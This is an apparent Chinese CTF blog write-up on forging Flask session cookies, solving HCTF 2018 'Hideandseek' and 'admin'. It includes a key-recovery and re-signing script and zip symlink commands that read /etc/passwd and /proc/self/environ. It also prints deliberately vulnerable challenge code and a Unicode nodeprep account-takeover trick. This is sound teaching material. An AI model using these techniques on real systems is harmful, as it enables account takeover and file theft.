CTF Web安全

[HCTF2018]两道题了解flask的session机制

Posted on 2020-01-20,11 min read

session安全问题
在Web中。Session一般都存储在服务端用来认证用户身份。用户不可控。
如果。用户可控Session就会导致安全问题存在

这就要讲到客户端存放Session了。
Python的Flask框架并没有良好的Session存储机制。所以。Flask将Session存放在Cookies中。当然是加密过后的。加密流程如下:

1。json.dumps   将对象转换为json字符串。作为数据
2。若数据压缩后长度更短。则用zlib进行压缩
3。将数据Base64编码
4。通过hmac算法计算数据签名。将签名附在数据后。用点分割
格式类似于这种
eyJ1c2VybmFtZSI6InRlc3QifQ.XC7SPg.sV9_ueBW2e4kCoY0sxh14dxsQiY
由三部分组成
eyJ1c2VybmFtZSI6InRlc3QifQ 
Base64加密的数据
XC7SPg
时间戳
sV9_ueBW2e4kCoY0sxh14dxsQiY
数据签名。重点在于这个。通过密钥进行签名。防止被篡改


https://jwt.io/可以解析此格式
可以看到。这段密文的头部数据。是{"username": "test"}(JSON格式的数据),如果将其修改为admin是否能成为admin用户呢。显然是不行的。因为有数据签名的存在。
如果我们通过SSTI。或者其他方式。获得到了加密的密钥(SECRET_KEY)就能修改Session。实现一些功能
第一个小例子

import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
print(app.config['SECRET_KEY'])
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'admin':
        return open('/flag.txt').read()
    else:
        print session['username']
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

这段程序中。
开头用uuid.getnode()获取网卡地址。作为种子。然后用random生成随机数作为加密的密钥
接着又把session['username']赋值为www-data
接着又定义了两个功能。一个read。读取任意文件。一个是flag。读取flag。但Session['username']必须为admin才能读取flag
运行程序看下效果
访问/flag。由于程序一开始就将session中的username定义为了www-data,所以无权访问。

那么我们的思路就是。获得密钥。伪造随机数。修改session。重新签名
何为伪随机数呢。看一个例子
我们定义种子为1。然后根据这个种子产生随机数。照理来说。随机数。应该是每次运行都不一样。但是要注意。这里生成的并不是真正意义上的随机数。而是一个伪随机数。每次宠幸运行。他的随机数都是固定的。如果我们能知道种子。就能知道他每次产生的随机数

具体看下怎么做:
首先。得知道他的种子。
种子是通过random.seed(uuid.getnode())生成的。而uuid.getnode()又是将MAC地址转换为10进制。那么我们通过程序中的任意文件读取来获取网卡地址。不就能得到种子了
读取/proc/net/dev可以知道服务器上的网卡。接着/sys/class/net/eth0/address可以知道MAC地址

得到了MAC地址。我们用python脚本获得随机数(密钥)

import random
random.seed(int(52234918416))
SECRET_KEY = str(random.random() * 233)
print(SECRET_KEY)

初学时。这里试了好久。获得的密钥一直不能解密密文
后来发现。这是Python2的精度问题。同样的脚本。python3的输出精度更高。而密钥刚好就是精度高的那个数

现在我们知道了他的密钥,用到github的一个脚本。来伪造密文
https://github.com/noraj/flask-session-cookie-manager
这个脚本。分python2和python3.主要看服务端用的是那个版本。比如服务端是python2启动的。那你就得用python2去解密。python2和3加密不太一样
解密:
python flask_session_cookie_manager.py decode -s '密钥' -c 'session密文'
这里用大佬的脚本解密

import random
import session_cookie_manager
import sys
mac = "00:0c:29:71:9a:10"
#mac地址
random.seed(int(mac.replace(":", ""), 16))
#转换10进制。成为种子
for x in range(1000):
    SECRET_KEY = str(random.random() * 233)
    rs = session_cookie_manager.FSCM.decode(sys.argv[1], SECRET_KEY)
    #调用上面github的解密脚本。进行解密。如果随机数(密钥)错误。会返回error。正确就返回数组
    if 'error' not in rs:
        print(SECRET_KEY)
        rs[u'username'] = 'admin'
        print(str(rs))
        print(session_cookie_manager.FSCM.encode(SECRET_KEY, str(rs)))
        #当密钥正确时。修改username。然后再去真确的密钥进行加密
        break


复制生成的session。修改后访问/flag

原理就是这样。
下面来两题HCTF的题

  • [HCTF 2018]Hideandseek
    主页就一个登陆。其他按钮都是没用的。源代码也没东西

    随便输个123123就登陆成功了。

    有个文件上传。但提示。只能上传zip文件。
    这里上传个ZIP。内容是一串Base64
    看看结果

    返回了zip压缩包内的文件。说明它会先解压。然后cat文件
    那么这里有个知识点。软连接

    将1234链接到/etc/passwd。cat 1234就等于cat /etc/passwd
    那么我们也可以通过软连接文件。然后压缩为zip。后端读文件时。就会读取我们链接的文件
    尝试一下
ln -s /etc/passwd link
zip -ry out.zip link

还真读取到了。接下来就读取各种敏感文件

ln -s /proc/self/environ link
#环境变量
zip -ry out.zip link


得到uwsgi的配置文件路径:/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
再次读取。

[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app

得到当前文件名hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
同理。继续上传软连接得到源码

from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and 
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

在index中。找到一个模板ender_template('index.html')一般flask的模板文件夹都叫templates,那么index.html的真实路径就是/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html
读取得到if username=='admin'就输出flag

又是通过session修改名字。然后成为admin
查看session的赋值


和一开始的实验一样。都是通过MAC地址。来生成伪随机数(密钥)
上传软连接。读取得到
02:42:ae:00:6a:ad
继续利用之前的脚本

import random
import os
random.seed(int(2485410359981))
#MAC地址10进制
SECRET_KEY = str(random.random() * 100)
#根据程序中修改
print(SECRET_KEY)

用python3运行。得到47.601174077042465
然后用github上的那个脚本。解密

修改对应的值。并用密钥重新签名

替换session值后刷新。就得到了flag

这题有个注意点。这是python3运行的。不能的python2去解密

  • [HCTF 2018]admin
    只有登陆。注册。退出

    随便注册登陆。看看源码。看看有没有敏感信息
    在更改密码的地方。看到了github地址

    进去看看

    先看run.py
from app import app
if __name__ == '__main__':
    app.run('0.0.0.0', 9999,threaded=True,debug=True)

没东西。接着看app目录

code.py/routes.py是一些路由。函数
config.py是一些全局配置。还有session的密钥ckj123
在模板中。看到了如果username==admin。就输出flag

那就简单了。我们伪造session
我们不知道。它是python几。都试一下。发现都能解密。

先用python2修改username试下
修改后刷新。发现不行。再用python3试一下
成功拿到flag

这题还有两种解法。一种是条件竞争。还有就是unicde编码问题
这里。我们看下unicode编码问题
审计代码。发现用户注册时。将数据用strlower函数处理了。根据字面意思。就是转换小写。不过python下不是lower函数吗。。继续查看

发现下面定义了这个函数。

def strlower(username):
    username = nodeprep.prepare(username)
    return username

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
nodeprep又是通过twisted来的
通过/requirements.txt看到Twisted==10.2.0
这个版本很老了。在转换字符存在unicode问题
会进行以下转换

ᴬ->A->a

register:调用一次
login:调用一次
change:调用一次
如果我们构造一个ᴬdmin。然后调用unicode。就会成为Admin,然后登陆又调用一次。就会成为admin。最后change改变密码时。就改变了admin的密码。

最后用admin用户登陆

下一篇: [SWPU2019]伟大的侦探(跳舞小人加密+ebcdic编码)→